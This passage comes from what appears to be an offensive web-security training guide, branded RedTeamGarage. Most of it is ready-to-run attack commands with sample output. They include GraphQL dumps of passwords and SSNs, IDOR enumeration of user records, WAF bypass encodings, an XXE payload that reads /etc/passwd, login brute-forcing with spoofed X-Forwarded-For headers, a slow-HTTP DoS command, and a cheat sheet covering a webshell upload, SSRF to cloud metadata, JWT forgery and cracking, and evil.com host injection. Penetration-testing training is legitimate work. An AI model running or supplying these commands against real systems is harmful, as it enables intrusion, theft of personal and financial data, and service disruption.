# Discover API endpoints via JS analysis
curl -s https://corp.local/app.js | grep -oE "[\'\"/][a-z0-9_/.-]{5,50}"
python3 linkfinder.py -i https://corp.local/app.js -o cli

# GraphQL introspection - dump the full schema
curl -s -X POST https://api.corp.local/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query":"{__schema{types{name fields{name}}}}"}' | jq

# GraphQL - access restricted fields
curl -s -X POST https://api.corp.local/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query":"{users{id email password ssn salary}}"}'

# REST API versioning - old versions often less secure
curl https://api.corp.local/v1/users/1 # current
curl https://api.corp.local/v0/users/1 # legacy - no auth?
curl https://api.corp.local/beta/users/1
curl https://api.corp.local/internal/users/1

# Find admin endpoints not in documentation
ffuf -u https://api.corp.local/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/api/
```

```
root@kali: ~ — Real-World IDOR: Access Any User's Data via ID Change

# Real-world IDOR - access another user's data by changing ID
# Your account: user_id=1337, attacker changes to 1338

# Request as legitimate user (id=1337)
curl -s -H 'Authorization: Bearer YOUR_TOKEN' \
  'https://api.corp.local/v1/users/1337/invoices'
{"invoices":[{"id":"9001","amount":"500","status":"paid"}]}

# IDOR - change ID to victim's account
curl -s -H 'Authorization: Bearer YOUR_TOKEN' \
  'https://api.corp.local/v1/users/1338/invoices'
{"invoices":[{"id":"9002","amount":"15000","status":"pending"},
{"id":"9003","amount":"8500","status":"paid"}]}
# 200 OK - victim's financial data returned!

# Escalate - access admin endpoint
curl -s -H 'Authorization: Bearer YOUR_TOKEN' \
  'https://api.corp.local/v1/admin/users'
{"users":[{"id":1,"username":"admin","email":"admin@corp.local"},
{"id":2,"username":"ceo","salary":250000},...]}
# Should be 403 - but returns 200 with ALL user data!

# Mass IDOR - enumerate all user IDs
for i in $(seq 1 2000); do
  curl -s -H 'Authorization: Bearer TOKEN' \
    "https://api.corp.local/v1/users/$i" | jq -r '.email' 2>/dev/null
done | grep -v null

root@kali: ~ —
```

Figure: IDOR — change user_id=1337 to 1338 returns victim financial data; /admin returns all users



17 — WAF BYPASS TECHNIQUES AT THE HTTP LAYER

Evading Web Application Firewalls with HTTP Tricks

Web Application Firewalls inspect HTTP traffic for attack signatures. Because WAFs operate on HTTP headers and body, they can be deceived by manipulating the HTTP protocol itself — changing encoding, content types, request structure, and leveraging inconsistencies in HTTP parsing.

WAF Bypass Technique	Method	Example
URL encoding	Encode attack chars	SELECT → %53%45%4C%45%43%54
Double URL encoding	Encode twice	< → %253C (decoded twice)
Unicode/UTF-8	Use Unicode equiv	■■■■■■■■full-width chars
Case variation	Mixed case	SeLeCt * FrOm UsErS
Comment injection	SQL comments	SE/**/LECT or SE--\nLECT
HTTP header injection	X-Original-URL	Bypass path-based WAF rules
Content-Type swap	Change body format	JSON→XML to trigger XXE
Chunked encoding	Split payload	Transfer-Encoding: chunked
Parameter pollution	Duplicate params	WAF checks first, app uses last
Request smuggling	CL.TE desync	WAF sees safe, backend sees attack



\$ WAF Bypass Techniques

```
# Encode SQL injection to bypass WAF
# Plain: ' OR 1=1--      ← blocked by WAF
# Encoded: %27%20OR%201%3D1-- ← may pass WAF
# Double: %2527%2520OR%25201%253D1--

# Content-Type bypass – send XML where JSON expected
curl -X POST https://corp.local/api/parse \
  -H 'Content-Type: text/xml' \
  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "/etc/passwd">]><foo>&xxe;</foo>'

# JSON → XML bypass for XXE via Content-Type
# Many apps support both – XML triggers XXE even in JSON endpoint

# IP rotation for rate limit bypass
# Use X-Forwarded-For with different IPs per request
for i in $(seq 1 100); do
  curl -H "X-Forwarded-For: 10.0.$i.1" https://corp.local/login \
    -d 'user=admin&pass=password$i'
done

# Slow HTTP DoS – keep connection open
slowhttptest -c 1000 -H -i 10 -r 200 -t GET -u https://corp.local/
```



18 — HTTP/HTTPS CHEAT SHEET FOR ATTACKERS

Every Command — From Recon to Exploitation

Full HTTP request verbose	<code>curl -v https://TARGET/ 2>&1</code>
Headers only	<code>curl -sI https://TARGET/</code>
Follow redirects	<code>curl -sIL https://TARGET/</code>
Custom header inject	<code>curl -H 'X-Forwarded-For: 127.0.0.1' https://TARGET/admin</code>
Host header injection	<code>curl -H 'Host: evil.com' https://TARGET/forgot-password</code>
HTTP method OPTIONS	<code>curl -X OPTIONS -i https://TARGET/api/users</code>
HTTP method TRACE	<code>curl -X TRACE https://TARGET/ -H 'Cookie: test=1'</code>
PUT webshell upload	<code>curl -X PUT https://TARGET/uploads/x.php -d "</code>
PATCH mass assignment	<code>curl -X PATCH https://TARGET/api/me -d '{"role":"admin"}'</code>
403 bypass — path	<code>curl https://TARGET/%61dmin curl https://TARGET/admin/.</code>
403 bypass — header	<code>curl -H 'X-Original-URL: /admin' https://TARGET/</code>
CORS test	<code>curl -sI -H 'Origin: https://evil.com' https://TARGET/api/</code>
SSRF — AWS metadata	<code>curl 'https://TARGET/fetch?url=http://169.254.169.254/latest/meta-data/'</code>
SSRF — localhost bypass	<code>curl 'https://TARGET/fetch?url=http://[::1]/admin'</code>
JWT decode	<code>echo TOKEN cut -d'.' -f1,2 tr '_-' '+' base64 -d</code>
JWT alg=none attack	<code>python3 jwt_tool.py TOKEN -X a</code>
JWT brute force secret	<code>hashcat -a 0 -m 16500 token.txt rockyou.txt</code>
HTTP smuggling test	<code>python3 smuggler.py -u https://TARGET/ -v</code>
Security headers check	<code>curl -sI https://TARGET grep -iE 'security csp hsts cors'</code>
Dir brute force	<code>ffuf -u https://TARGET/FUZZ -w raft-large-files.txt</code>
Parameter fuzz	<code>ffuf -u 'https://TARGET/api?FUZZ=1' -w params.txt -mc 200</code>
GraphQL introspect	<code>curl -X POST https://TARGET/graphql -d '{"query":"{__schema{types{name}}}"}</code>
JS endpoint extract	<code>python3 linkfinder.py -i https://TARGET/app.js -o cli</code>
Open redirect test	<code>curl -v 'https://TARGET/redirect?url=https://evil.com'</code>
SQL injection test	<code>sqlmap -u 'https://TARGET/search?q=1' --dbs --batch</code>
XSS test	<code>daffox url 'https://TARGET/search?q=test'</code>



TLS audit	<code>testssl.sh https://TARGET</code>
IDOR test	<code>curl -H 'Authorization: Bearer T' https://TARGET/api/users/VICTIM_ID</code>
Virtual host brute	<code>ffuf -u https://IP/ -H 'Host: FUZZ.TARGET' -w subs.txt</code>
Rate limit bypass	<code>curl -H 'X-Forwarded-For: RANDOM_IP' https://TARGET/login</code>
nuclei full scan	<code>nuclei -u https://TARGET -t cves/ -t exposures/ -t misconfiguration/</code>



CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



Official Website	https://www.redteamgarage.com/
Telegram	https://t.me/redteamgarage
LinkedIn	https://www.linkedin.com/company/redteamgarage-rtg

RTG MISSION

Real-world offensive security training - practical, no fluff, and built for serious learners.

Build the most comprehensive red team technique library available anywhere.

Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.